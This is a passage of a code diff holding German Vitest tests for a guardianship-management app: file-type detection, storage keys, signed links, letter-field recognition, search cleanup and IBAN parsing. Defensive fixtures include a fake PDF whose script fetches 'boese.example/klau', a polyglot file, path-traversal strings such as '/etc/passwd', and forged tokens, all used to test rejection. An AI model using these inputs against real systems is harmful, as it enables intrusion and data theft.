letzterAdminGeschuetzt({
|
||||
zielRolleVorher: 'BETREUER',
|
||||
zielRolleNachher: 'MITLESER',
|
||||
zielBleibtAktiv: true,
|
||||
anzahlAktiverAdmins: 1,
|
||||
}),
|
||||
).toBeNull()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,474 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
endungPasst,
|
||||
inhaltBeschreiben,
|
||||
typErkennen,
|
||||
} from '@/lib/speicher/dateityp'
|
||||
import {
|
||||
betreuteIdAusSchluessel,
|
||||
schluesselErzeugen,
|
||||
schluesselGueltig,
|
||||
UngueltigerSchluessel,
|
||||
zugriffTokenErzeugen,
|
||||
zugriffTokenPruefen,
|
||||
} from '@/lib/speicher/schluessel'
|
||||
import {
|
||||
aktenzeichenErkennen,
|
||||
alleAktenzeichen,
|
||||
absenderErkennen,
|
||||
datenFinden,
|
||||
dokumentartErkennen,
|
||||
erkennungsvorschlaege,
|
||||
fristenErkennen,
|
||||
schreibdatumErkennen,
|
||||
} from '@/lib/dokumente/erkennung'
|
||||
import { suchanfrageAufbereiten } from '@/lib/dokumente/suchbegriff'
|
||||
|
||||
/**
|
||||
* Diese Tests beschreiben, was fachlich gelten soll - nicht, welche
|
||||
* Funktion aufgerufen wird. Sie brauchen weder Datenbank noch Netz.
|
||||
*/
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Hilfen: kleine, gueltige Dateien im Speicher bauen
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
function pdfDatei(): Buffer {
|
||||
return Buffer.concat([
|
||||
Buffer.from('%PDF-1.7\n1 0 obj\n<< /Type /Catalog >>\nendobj\n', 'latin1'),
|
||||
Buffer.from('trailer\n<< /Root 1 0 R >>\n%%EOF\n', 'latin1'),
|
||||
])
|
||||
}
|
||||
|
||||
function jpegDatei(): Buffer {
|
||||
return Buffer.concat([Buffer.from([0xff, 0xd8, 0xff, 0xe0]), Buffer.alloc(64, 0x11)])
|
||||
}
|
||||
|
||||
function pngDatei(): Buffer {
|
||||
return Buffer.concat([
|
||||
Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
|
||||
Buffer.alloc(64, 0x22),
|
||||
])
|
||||
}
|
||||
|
||||
function webpDatei(): Buffer {
|
||||
const kopf = Buffer.alloc(16)
|
||||
kopf.write('RIFF', 0, 'ascii')
|
||||
kopf.writeUInt32LE(64, 4)
|
||||
kopf.write('WEBPVP8 ', 8, 'ascii')
|
||||
return Buffer.concat([kopf, Buffer.alloc(48, 0x33)])
|
||||
}
|
||||
|
||||
function tiffDatei(): Buffer {
|
||||
return Buffer.concat([Buffer.from([0x49, 0x49, 0x2a, 0x00]), Buffer.alloc(64, 0x44)])
|
||||
}
|
||||
|
||||
function heicDatei(): Buffer {
|
||||
const kopf = Buffer.alloc(24)
|
||||
kopf.writeUInt32BE(24, 0)
|
||||
kopf.write('ftypheic', 4, 'ascii')
|
||||
kopf.write('mif1heic', 12, 'ascii')
|
||||
return Buffer.concat([kopf, Buffer.alloc(48, 0x55)])
|
||||
}
|
||||
|
||||
/** Eine HTML-Seite, die sich als PDF ausgibt. */
|
||||
function getarnteHtmlDatei(): Buffer {
|
||||
return Buffer.from(
|
||||
'<!DOCTYPE html>\n<html><head><title>rechnung.pdf</title></head>' +
|
||||
'<body><script>fetch("https://boese.example/klau")</script></body></html>',
|
||||
'utf8',
|
||||
)
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Dateityp
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Der Dateityp wird am Inhalt entschieden, nicht am Namen', () => {
|
||||
it('erkennt die sechs erlaubten Formate', () => {
|
||||
expect(typErkennen(pdfDatei())?.mimeTyp).toBe('application/pdf')
|
||||
expect(typErkennen(jpegDatei())?.mimeTyp).toBe('image/jpeg')
|
||||
expect(typErkennen(pngDatei())?.mimeTyp).toBe('image/png')
|
||||
expect(typErkennen(webpDatei())?.mimeTyp).toBe('image/webp')
|
||||
expect(typErkennen(tiffDatei())?.mimeTyp).toBe('image/tiff')
|
||||
expect(typErkennen(heicDatei())?.mimeTyp).toBe('image/heic')
|
||||
})
|
||||
|
||||
it('lehnt eine HTML-Seite ab, die sich als PDF ausgibt', () => {
|
||||
const getarnt = getarnteHtmlDatei()
|
||||
expect(typErkennen(getarnt)).toBeNull()
|
||||
expect(inhaltBeschreiben(getarnt)).toBe('eine HTML-Seite')
|
||||
})
|
||||
|
||||
it('lehnt ein PDF ab, dem Fremdinhalt vorangestellt wurde', () => {
|
||||
// Der klassische Polyglot: erst HTML, dann irgendwo %PDF.
|
||||
const polyglot = Buffer.concat([Buffer.from('<html><body>x</body></html>\n'), pdfDatei()])
|
||||
expect(typErkennen(polyglot)).toBeNull()
|
||||
})
|
||||
|
||||
it('lehnt Office-Dateien, Archive und Programme ab', () => {
|
||||
const zip = Buffer.concat([Buffer.from([0x50, 0x4b, 0x03, 0x04]), Buffer.alloc(32)])
|
||||
const exe = Buffer.concat([Buffer.from([0x4d, 0x5a]), Buffer.alloc(32)])
|
||||
expect(typErkennen(zip)).toBeNull()
|
||||
expect(typErkennen(exe)).toBeNull()
|
||||
expect(inhaltBeschreiben(zip)).toContain('ZIP')
|
||||
})
|
||||
|
||||
it('lehnt zu kurze und leere Dateien ab', () => {
|
||||
expect(typErkennen(Buffer.alloc(0))).toBeNull()
|
||||
expect(typErkennen(Buffer.from('%PDF'))).toBeNull()
|
||||
expect(inhaltBeschreiben(Buffer.alloc(0))).toBe('eine leere Datei')
|
||||
})
|
||||
|
||||
it('merkt, wenn die Endung nicht zum Inhalt passt', () => {
|
||||
const jpeg = typErkennen(jpegDatei())!
|
||||
expect(endungPasst('foto.jpeg', jpeg)).toBe(true)
|
||||
expect(endungPasst('foto.jpg', jpeg)).toBe(true)
|
||||
expect(endungPasst('rechnung.pdf', jpeg)).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Ablageschluessel
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Der Ablageschlüssel wird erzeugt und lässt sich nicht ausbrechen', () => {
|
||||
it('setzt die betreuteId an die zweite Stelle', () => {
|
||||
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||||
expect(schluessel).toMatch(/^betreute\/clx123abc\/dokumente\/[0-9a-f-]{36}\.pdf$/)
|
||||
expect(betreuteIdAusSchluessel(schluessel)).toBe('clx123abc')
|
||||
})
|
||||
|
||||
it('erzeugt für dieselbe Datei nie zweimal denselben Schlüssel', () => {
|
||||
const a = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||||
const b = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||||
expect(a).not.toBe(b)
|
||||
})
|
||||
|
||||
it('weist eine Kennung mit Pfadanteilen zurück', () => {
|
||||
expect(() => schluesselErzeugen('../../etc', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
|
||||
expect(() => schluesselErzeugen('a/b', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
|
||||
expect(() => schluesselErzeugen('a.b', 'dokumente', 'pdf')).toThrow(UngueltigerSchluessel)
|
||||
})
|
||||
|
||||
it('erkennt von Hand gebastelte Schlüssel als ungültig', () => {
|
||||
expect(schluesselGueltig('betreute/clx1/dokumente/../../../etc/passwd')).toBe(false)
|
||||
expect(schluesselGueltig('betreute/clx1/dokumente/datei.pdf')).toBe(false)
|
||||
expect(schluesselGueltig('betreute/clx1/geheim/00000000-0000-0000-0000-000000000000.pdf')).toBe(
|
||||
false,
|
||||
)
|
||||
expect(schluesselGueltig('/etc/passwd')).toBe(false)
|
||||
expect(schluesselGueltig('betreute\\clx1\\dokumente\\x.pdf')).toBe(false)
|
||||
expect(schluesselGueltig(null)).toBe(false)
|
||||
})
|
||||
|
||||
it('nimmt den Dateinamen des Nutzers nicht in den Pfad auf', () => {
|
||||
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||||
expect(schluessel).not.toContain('rechnung')
|
||||
expect(schluessel.split('/')).toHaveLength(4)
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Signierte Links
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Signierte Dateilinks laufen ab und lassen sich nicht fälschen', () => {
|
||||
const schluessel = schluesselErzeugen('clx123abc', 'dokumente', 'pdf')
|
||||
const jetzt = new Date('2026-03-12T10:00:00.000Z')
|
||||
|
||||
it('erkennt ein frisches Token an', () => {
|
||||
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
|
||||
const geprueft = zugriffTokenPruefen(token, jetzt)
|
||||
expect(geprueft.gueltig).toBe(true)
|
||||
if (geprueft.gueltig) expect(geprueft.schluessel).toBe(schluessel)
|
||||
})
|
||||
|
||||
it('weist ein abgelaufenes Token zurück', () => {
|
||||
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
|
||||
const spaeter = new Date(jetzt.getTime() + 301_000)
|
||||
const geprueft = zugriffTokenPruefen(token, spaeter)
|
||||
expect(geprueft.gueltig).toBe(false)
|
||||
if (!geprueft.gueltig) expect(geprueft.grund).toBe('abgelaufen')
|
||||
})
|
||||
|
||||
it('weist ein Token mit verlängertem Ablauf zurück', () => {
|
||||
const token = zugriffTokenErzeugen(schluessel, 60, jetzt)
|
||||
const [kodiert, ablauf, signatur] = token.split('.')
|
||||
const verlaengert = `${kodiert}.${Number(ablauf) + 86_400}.${signatur}`
|
||||
const geprueft = zugriffTokenPruefen(verlaengert, jetzt)
|
||||
expect(geprueft.gueltig).toBe(false)
|
||||
if (!geprueft.gueltig) expect(geprueft.grund).toBe('signatur')
|
||||
})
|
||||
|
||||
it('weist ein Token zurück, in das ein fremder Schlüssel geschoben wurde', () => {
|
||||
const token = zugriffTokenErzeugen(schluessel, 300, jetzt)
|
||||
const fremd = schluesselErzeugen('clyFREMD99', 'dokumente', 'pdf')
|
||||
const [, ablauf, signatur] = token.split('.')
|
||||
const gebastelt = `${Buffer.from(fremd, 'utf8').toString('base64url')}.${ablauf}.${signatur}`
|
||||
const geprueft = zugriffTokenPruefen(gebastelt, jetzt)
|
||||
expect(geprueft.gueltig).toBe(false)
|
||||
if (!geprueft.gueltig) expect(geprueft.grund).toBe('signatur')
|
||||
})
|
||||
|
||||
it('weist Unsinn und leere Werte zurück', () => {
|
||||
for (const wert of ['', 'abc', 'a.b.c', null, undefined, 12]) {
|
||||
expect(zugriffTokenPruefen(wert as unknown, jetzt).gueltig).toBe(false)
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Datum und Aktenzeichen
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Datumsangaben im Schreiben werden gelesen', () => {
|
||||
it('versteht 12.03.2026, 12. März 2026 und 2026-03-12', () => {
|
||||
expect(datenFinden('Bayreuth, 12.03.2026')[0]?.datum.toISOString()).toBe(
|
||||
'2026-03-12T00:00:00.000Z',
|
||||
)
|
||||
expect(datenFinden('Bayreuth, 12. März 2026')[0]?.datum.toISOString()).toBe(
|
||||
'2026-03-12T00:00:00.000Z',
|
||||
)
|
||||
expect(datenFinden('Stand 2026-03-12')[0]?.datum.toISOString()).toBe(
|
||||
'2026-03-12T00:00:00.000Z',
|
||||
)
|
||||
})
|
||||
|
||||
it('ergänzt zweistellige Jahre sinnvoll', () => {
|
||||
expect(datenFinden('am 12.03.26')[0]?.datum.getUTCFullYear()).toBe(2026)
|
||||
expect(datenFinden('am 12.03.99')[0]?.datum.getUTCFullYear()).toBe(1999)
|
||||
})
|
||||
|
||||
it('erfindet keinen 31. Februar', () => {
|
||||
expect(datenFinden('am 31.02.2026')).toHaveLength(0)
|
||||
expect(datenFinden('am 45.13.2026')).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('nimmt das ausdrücklich benannte Datum des Schreibens', () => {
|
||||
const text = [
|
||||
'Bezirk Oberfranken',
|
||||
'Sozialverwaltung',
|
||||
'',
|
||||
'Bayreuth, 05.03.2026',
|
||||
'Ihr Schreiben vom 12.03.2026',
|
||||
].join('\n')
|
||||
const vorschlag = schreibdatumErkennen(text, new Date('2026-06-01T00:00:00.000Z'))
|
||||
expect(vorschlag?.wert.toISOString()).toBe('2026-03-12T00:00:00.000Z')
|
||||
expect(vorschlag?.sicherheit).toBe('hoch')
|
||||
})
|
||||
|
||||
it('übernimmt kein Datum aus der Zukunft als Briefdatum', () => {
|
||||
const text = 'Zahlbar bis zum 30.12.2030'
|
||||
expect(schreibdatumErkennen(text, new Date('2026-03-12T00:00:00.000Z'))).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Aktenzeichen und Nummern werden erkannt', () => {
|
||||
it('liest das Aktenzeichen des Betreuungsgerichts', () => {
|
||||
const vorschlag = aktenzeichenErkennen('Amtsgericht Bayreuth\nXVII 123/25\n\nBeschluss')
|
||||
expect(vorschlag?.wert).toBe('XVII 123/25')
|
||||
})
|
||||
|
||||
it('liest ein beschriftetes Aktenzeichen', () => {
|
||||
expect(aktenzeichenErkennen('Az.: 4711/26\nBetreff: Hilfe zur Pflege')?.wert).toBe('4711/26')
|
||||
expect(aktenzeichenErkennen('Aktenzeichen: SG 12 SO 45/26\n')?.wert).toBe('SG 12 SO 45/26')
|
||||
})
|
||||
|
||||
it('liest Kunden- und Versicherungsnummern', () => {
|
||||
expect(aktenzeichenErkennen('Kd.-Nr. 998877\nRechnung')?.wert).toBe('998877')
|
||||
expect(aktenzeichenErkennen('Versicherungsschein-Nr. LV-4711/2\n')?.wert).toBe('LV-4711/2')
|
||||
})
|
||||
|
||||
it('hält eine reine Jahreszahl nicht für ein Aktenzeichen', () => {
|
||||
expect(aktenzeichenErkennen('Zeitraum 01/2025 bis 12/2025')).toBeNull()
|
||||
})
|
||||
|
||||
it('sammelt mehrere Nummern für die Anzeige', () => {
|
||||
const text = 'Az.: 4711/26\nKundennummer: 998877\n'
|
||||
expect(alleAktenzeichen(text)).toEqual(expect.arrayContaining(['4711/26', '998877']))
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Dokumentart und Absender
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Die Art des Schreibens wird vorgeschlagen', () => {
|
||||
it('erkennt einen Widerspruchsbescheid als Bescheid', () => {
|
||||
const text = 'Widerspruchsbescheid\n\nIhr Antrag auf Hilfe zur Pflege wird abgelehnt.'
|
||||
expect(dokumentartErkennen(text)?.wert).toBe('BESCHEID')
|
||||
})
|
||||
|
||||
it('unterscheidet Mahnung von Rechnung', () => {
|
||||
expect(dokumentartErkennen('Mahnung\nOffener Rechnungsbetrag 120,00 EUR')?.wert).toBe('MAHNUNG')
|
||||
expect(dokumentartErkennen('Rechnung\nRechnungsnummer 4711\nZahlbetrag')?.wert).toBe('RECHNUNG')
|
||||
})
|
||||
|
||||
it('erkennt Beschluss, Grundbuchauszug und Kaufvertrag', () => {
|
||||
expect(dokumentartErkennen('Beschluss\nIm Namen des Volkes')?.wert).toBe('BESCHLUSS')
|
||||
expect(dokumentartErkennen('Grundbuchauszug\nGrundbuch von Bayreuth')?.wert).toBe(
|
||||
'GRUNDBUCHAUSZUG',
|
||||
)
|
||||
expect(dokumentartErkennen('Kaufvertrag über das Grundstück')?.wert).toBe('VERTRAG')
|
||||
})
|
||||
|
||||
it('gibt nichts vor, wenn nichts erkennbar ist', () => {
|
||||
expect(dokumentartErkennen('lorem ipsum dolor')).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Der Absender wird vorgeschlagen', () => {
|
||||
const brief = [
|
||||
'Bezirk Oberfranken',
|
||||
'Sozialverwaltung',
|
||||
'95440 Bayreuth',
|
||||
'',
|
||||
'Bayreuth, 12.03.2026',
|
||||
'',
|
||||
'Sehr geehrte Frau Wilde,',
|
||||
].join('\n')
|
||||
|
||||
it('bevorzugt einen bereits bekannten Absender', () => {
|
||||
const vorschlag = absenderErkennen(brief, ['Bezirk Oberfranken, Sozialverwaltung'])
|
||||
expect(vorschlag?.wert).toBe('Bezirk Oberfranken, Sozialverwaltung')
|
||||
expect(vorschlag?.sicherheit).toBe('hoch')
|
||||
})
|
||||
|
||||
it('erkennt sonst die Behörde im Briefkopf', () => {
|
||||
const vorschlag = absenderErkennen(brief, [])
|
||||
expect(vorschlag?.wert).toBe('Bezirk Oberfranken')
|
||||
expect(vorschlag?.sicherheit).toBe('mittel')
|
||||
})
|
||||
|
||||
it('hält die Anrede nicht für den Absender', () => {
|
||||
const vorschlag = absenderErkennen('Sehr geehrte Frau Wilde,\n\nwir teilen Ihnen mit …', [])
|
||||
expect(vorschlag?.wert ?? '').not.toMatch(/Sehr geehrte/)
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Fristen
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Fristen im Text werden vorgeschlagen, nie angelegt', () => {
|
||||
const zugang = new Date(Date.UTC(2026, 2, 12)) // 12.03.2026
|
||||
|
||||
it('rechnet "innerhalb von vier Wochen" ab dem Zugangsdatum', () => {
|
||||
const text =
|
||||
'Gegen diesen Bescheid können Sie innerhalb von vier Wochen nach Bekanntgabe ' +
|
||||
'Widerspruch einlegen.'
|
||||
const [frist] = fristenErkennen(text, zugang)
|
||||
|
||||
expect(frist).toBeDefined()
|
||||
expect(frist!.datum?.toISOString()).toBe('2026-04-09T00:00:00.000Z')
|
||||
expect(frist!.basis?.toISOString()).toBe('2026-03-12T00:00:00.000Z')
|
||||
expect(frist!.rechtsbehelf).toBe(true)
|
||||
expect(frist!.textstelle).toContain('vier Wochen')
|
||||
})
|
||||
|
||||
it('versteht "binnen eines Monats" und "einen Monat nach Bekanntgabe"', () => {
|
||||
const a = fristenErkennen('Widerspruch binnen eines Monats.', zugang)[0]
|
||||
expect(a?.datum?.toISOString()).toBe('2026-04-12T00:00:00.000Z')
|
||||
|
||||
const b = fristenErkennen('Der Widerspruch ist einen Monat nach Bekanntgabe zu erheben.', zugang)[0]
|
||||
expect(b?.datum?.toISOString()).toBe('2026-04-12T00:00:00.000Z')
|
||||
})
|
||||
|
||||
it('übernimmt ein ausdrücklich genanntes Datum', () => {
|
||||
const [frist] = fristenErkennen('Wir bitten um Zahlung bis zum 30.04.2026.', zugang)
|
||||
expect(frist?.datum?.toISOString()).toBe('2026-04-30T00:00:00.000Z')
|
||||
expect(frist?.sicherheit).toBe('hoch')
|
||||
})
|
||||
|
||||
it('hält einen Zeitraum nicht für eine Frist', () => {
|
||||
expect(fristenErkennen('Abrechnung vom 01.01.2025 bis 31.12.2025', zugang)).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('liefert ohne Zugangsdatum kein erfundenes Datum', () => {
|
||||
const [frist] = fristenErkennen('Bitte antworten Sie innerhalb von 14 Tagen.', null)
|
||||
expect(frist?.datum).toBeNull()
|
||||
expect(frist?.begruendung).toContain('Eingangsdatum')
|
||||
})
|
||||
|
||||
it('nennt bei jedem Vorschlag die Textstelle, auf die er sich stützt', () => {
|
||||
const fristen = fristenErkennen('Zahlung binnen zwei Wochen erbeten.', zugang)
|
||||
expect(fristen[0]?.textstelle.length).toBeGreaterThan(0)
|
||||
expect(fristen[0]?.begruendung).toContain('2 Wochen')
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Alles zusammen
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Ein abfotografierter Bescheid liefert einen brauchbaren Vorschlag', () => {
|
||||
const bescheid = [
|
||||
'Bezirk Oberfranken',
|
||||
'Sozialverwaltung',
|
||||
'95440 Bayreuth',
|
||||
'',
|
||||
'Bayreuth, 05.03.2026',
|
||||
'Aktenzeichen: 4711/26',
|
||||
'',
|
||||
'Betreff: Hilfe zur Pflege nach dem SGB XII',
|
||||
'',
|
||||
'Widerspruchsbescheid',
|
||||
'',
|
||||
'Sehr geehrte Frau Wilde,',
|
||||
'Ihr Widerspruch wird zurückgewiesen. Gegen diesen Bescheid können Sie innerhalb',
|
||||
'von vier Wochen nach Bekanntgabe Klage erheben.',
|
||||
].join('\n')
|
||||
|
||||
it('schlägt Absender, Datum, Aktenzeichen, Art und Frist vor', () => {
|
||||
const ergebnis = erkennungsvorschlaege(bescheid, {
|
||||
bekannteAbsender: ['Bezirk Oberfranken, Sozialverwaltung'],
|
||||
zugangAm: new Date(Date.UTC(2026, 2, 9)),
|
||||
heute: new Date(Date.UTC(2026, 2, 20)),
|
||||
})
|
||||
|
||||
expect(ergebnis.absender?.wert).toBe('Bezirk Oberfranken, Sozialverwaltung')
|
||||
expect(ergebnis.schreibenVom?.wert.toISOString()).toBe('2026-03-05T00:00:00.000Z')
|
||||
expect(ergebnis.aktenzeichen?.wert).toBe('4711/26')
|
||||
expect(ergebnis.art?.wert).toBe('BESCHEID')
|
||||
expect(ergebnis.titel).toBe('Hilfe zur Pflege nach dem SGB XII')
|
||||
expect(ergebnis.fristen[0]?.datum?.toISOString()).toBe('2026-04-06T00:00:00.000Z')
|
||||
expect(ergebnis.fristen[0]?.rechtsbehelf).toBe(true)
|
||||
})
|
||||
|
||||
it('liefert bei leerem Text keine erfundenen Werte', () => {
|
||||
const leer = erkennungsvorschlaege('', {})
|
||||
expect(leer.absender).toBeNull()
|
||||
expect(leer.art).toBeNull()
|
||||
expect(leer.fristen).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Suchanfrage
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Die Suchanfrage wird für websearch_to_tsquery aufbereitet', () => {
|
||||
it('lässt die gewohnte Suchmaschinen-Schreibweise stehen', () => {
|
||||
expect(suchanfrageAufbereiten('"Hilfe zur Pflege" -Mahnung')).toBe('"Hilfe zur Pflege" -Mahnung')
|
||||
})
|
||||
|
||||
it('räumt Leerraum und Steuerzeichen weg', () => {
|
||||
expect(suchanfrageAufbereiten(' Bescheid \n Bezirk \t')).toBe('Bescheid Bezirk')
|
||||
})
|
||||
|
||||
it('entfernt ein einzelnes offenes Anführungszeichen', () => {
|
||||
expect(suchanfrageAufbereiten('"Hilfe zur Pflege')).toBe('Hilfe zur Pflege')
|
||||
})
|
||||
|
||||
it('gibt nichts zurück, wenn nichts Suchbares übrig bleibt', () => {
|
||||
expect(suchanfrageAufbereiten('')).toBeNull()
|
||||
expect(suchanfrageAufbereiten(' ')).toBeNull()
|
||||
expect(suchanfrageAufbereiten('a')).toBeNull()
|
||||
expect(suchanfrageAufbereiten(null)).toBeNull()
|
||||
})
|
||||
|
||||
it('begrenzt die Länge, damit niemand die Datenbank beschäftigt', () => {
|
||||
expect(suchanfrageAufbereiten('x'.repeat(5000))!.length).toBe(200)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,862 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
betragFormatieren,
|
||||
betragParsen,
|
||||
centAufteilen,
|
||||
summe,
|
||||
teileGerundet,
|
||||
} from '@/lib/finanzen/betrag'
|
||||
import {
|
||||
ibanFormatieren,
|
||||
ibanGueltig,
|
||||
ibanMaskieren,
|
||||
ibanNormalisieren,
|
||||
ibanPruefen,
|
||||
} from '@/lib/finanzen/iban'
|
||||
import {
|
||||
csvErkennen,
|
||||
csvZerlegen,
|
||||
csvZuBuchungen,
|
||||
datumParsen,
|
||||
dublettenMarkieren,
|
||||
importReferenzBilden,
|
||||
trennzeichenErkennen,
|
||||
} from '@/lib/finanzen/import'
|
||||
import { camtZuBuchungen, dezimalZuCent } from '@/lib/finanzen/camt'
|
||||
import {
|
||||
betreuungsjahr,
|
||||
betreuungsjahre,
|
||||
betreuungsjahrZuDatum,
|
||||
aufwandspauschaleBis,
|
||||
} from '@/lib/finanzen/betreuungsjahr'
|
||||
import { vermoegenBerechnen, wertverlauf, wertZumStichtag } from '@/lib/finanzen/vermoegen'
|
||||
import {
|
||||
belegquote,
|
||||
laufendeBewegungen,
|
||||
vermischungsWarnung,
|
||||
type BuchungEingabe,
|
||||
} from '@/lib/finanzen/kassenbuch'
|
||||
import {
|
||||
rechnungslegungBerechnen,
|
||||
saldoZumStichtag,
|
||||
type KontoEingabe,
|
||||
} from '@/lib/finanzen/rechnungslegung'
|
||||
import { tagAusText } from '@/lib/finanzen/datum'
|
||||
|
||||
/**
|
||||
* Fachliche Pruefungen des Finanzmoduls - ohne Datenbank.
|
||||
*
|
||||
* Jeder Test beschreibt, was fachlich gelten soll. Wenn einer davon rot
|
||||
* wird, stimmt eine Zahl im Vermoegensverzeichnis oder in der
|
||||
* Rechnungslegung nicht mehr - und die gehen ans Betreuungsgericht.
|
||||
*/
|
||||
|
||||
const tag = (text: string): Date => {
|
||||
const datum = tagAusText(text)
|
||||
if (!datum) throw new Error(`Testdatum ${text} ist ungültig.`)
|
||||
return datum
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// IBAN
|
||||
// =============================================================================
|
||||
|
||||
describe('IBAN-Prüfziffer nach ISO 13616', () => {
|
||||
const gueltige = [
|
||||
'DE89 3704 0044 0532 0130 00',
|
||||
'DE02120300000000202051',
|
||||
'AT61 1904 3002 3457 3201',
|
||||
'CH93 0076 2011 6238 5295 7',
|
||||
'GB82 WEST 1234 5698 7654 32',
|
||||
'FR14 2004 1010 0505 0001 3M02 606',
|
||||
'NL91 ABNA 0417 1643 00',
|
||||
'BE68 5390 0754 7034',
|
||||
'ES91 2100 0418 4502 0005 1332',
|
||||
'IT60 X054 2811 1010 0000 0123 456',
|
||||
]
|
||||
|
||||
it.each(gueltige)('erkennt %s als gültig', (iban) => {
|
||||
const pruefung = ibanPruefen(iban)
|
||||
expect(pruefung.gueltig, JSON.stringify(pruefung)).toBe(true)
|
||||
})
|
||||
|
||||
it('weist einen Zahlendreher zurück – auch wenn die Länge stimmt', () => {
|
||||
// Aus DE89370400440532013000 wurden zwei Ziffern vertauscht.
|
||||
const pruefung = ibanPruefen('DE89 3704 0044 0532 0103 00')
|
||||
expect(pruefung.gueltig).toBe(false)
|
||||
if (!pruefung.gueltig) expect(pruefung.meldung).toMatch(/Prüfziffer/)
|
||||
})
|
||||
|
||||
it('weist eine falsche Prüfziffer zurück', () => {
|
||||
expect(ibanGueltig('DE88 3704 0044 0532 0130 00')).toBe(false)
|
||||
})
|
||||
|
||||
it('weist eine zu kurze deutsche IBAN zurück', () => {
|
||||
const pruefung = ibanPruefen('DE89 3704 0044 0532 0130')
|
||||
expect(pruefung.gueltig).toBe(false)
|
||||
if (!pruefung.gueltig) expect(pruefung.meldung).toMatch(/22 Zeichen/)
|
||||
})
|
||||
|
||||
it('weist ein unbekanntes Länderkürzel zurück', () => {
|
||||
const pruefung = ibanPruefen('ZZ89370400440532013000')
|
||||
expect(pruefung.gueltig).toBe(false)
|
||||
if (!pruefung.gueltig) expect(pruefung.meldung).toMatch(/Länderkürzel/)
|
||||
})
|
||||
|
||||
it('nimmt Leerzeichen, Kleinschreibung und Bindestriche entgegen', () => {
|
||||
expect(ibanNormalisieren('de89-3704 0044 0532 0130 00')).toBe('DE89370400440532013000')
|
||||
expect(ibanGueltig('de89-3704 0044 0532 0130 00')).toBe(true)
|
||||
})
|
||||
|
||||
it('formatiert in Vierergruppen, wie auf dem Kontoauszug', () => {
|
||||
expect(ibanFormatieren('DE89370400440532013000')).toBe('DE89 3704 0044 0532 0130 00')
|
||||
})
|
||||
|
||||
it('maskiert für Listen, lässt Anfang und Ende stehen', () => {
|
||||
// Vier Zeichen vorne, vier hinten - der Rest verschwindet.
|
||||
expect(ibanMaskieren('DE89370400440532013000')).toBe('DE89 **** **** **** **30 00')
|
||||
})
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Beträge und Rundung
|
||||
// =============================================================================
|
||||
|
||||
describe('Geldbeträge – nur Ganzzahlen in Cent', () => {
|
||||
it('liest deutsche Schreibweisen', () => {
|
||||
expect(betragParsen('1.234,56')).toBe(123456n)
|
||||
expect(betragParsen('1234,56')).toBe(123456n)
|
||||
expect(betragParsen('1234')).toBe(123400n)
|
||||
expect(betragParsen('1234,5')).toBe(123450n)
|
||||
expect(betragParsen('0,01')).toBe(1n)
|
||||
expect(betragParsen('1.234.567,89')).toBe(123456789n)
|
||||
expect(betragParsen('€ 1.234,56')).toBe(123456n)
|
||||
expect(betragParsen('1 234,56')).toBe(123456n)
|
||||
})
|
||||
|
||||
it('liest Vorzeichen vorne, hinten und in Klammern', () => {
|
||||
expect(betragParsen('-1.234,56')).toBe(-123456n)
|
||||
expect(betragParsen('1.234,56-')).toBe(-123456n)
|
||||
expect(betragParsen('(1.234,56)')).toBe(-123456n)
|
||||
expect(betragParsen('+12,00')).toBe(1200n)
|
||||
})
|
||||
|
||||
it('versteht "1.234" deutsch als eintausendzweihundertvierunddreißig', () => {
|
||||
expect(betragParsen('1.234')).toBe(123400n)
|
||||
})
|
||||
|
||||
it('liest die englische Schreibweise mit Punkt als Dezimaltrennzeichen', () => {
|
||||
expect(betragParsen('1234.56')).toBe(123456n)
|
||||
expect(betragParsen('1,234.56')).toBe(123456n)
|
||||
})
|
||||
|
||||
it('rundet nicht eigenmächtig, sondern lehnt drei Nachkommastellen ab', () => {
|
||||
expect(() => betragParsen('1,005')).toThrow(/zwei Nachkommastellen/)
|
||||
})
|
||||
|
||||
it('lehnt Unsinn ab', () => {
|
||||
expect(() => betragParsen('')).toThrow()
|
||||
expect(() => betragParsen('abc')).toThrow()
|
||||
expect(() => betragParsen('1-2')).toThrow()
|
||||
})
|
||||
|
||||
it('formatiert zurück in die deutsche Schreibweise', () => {
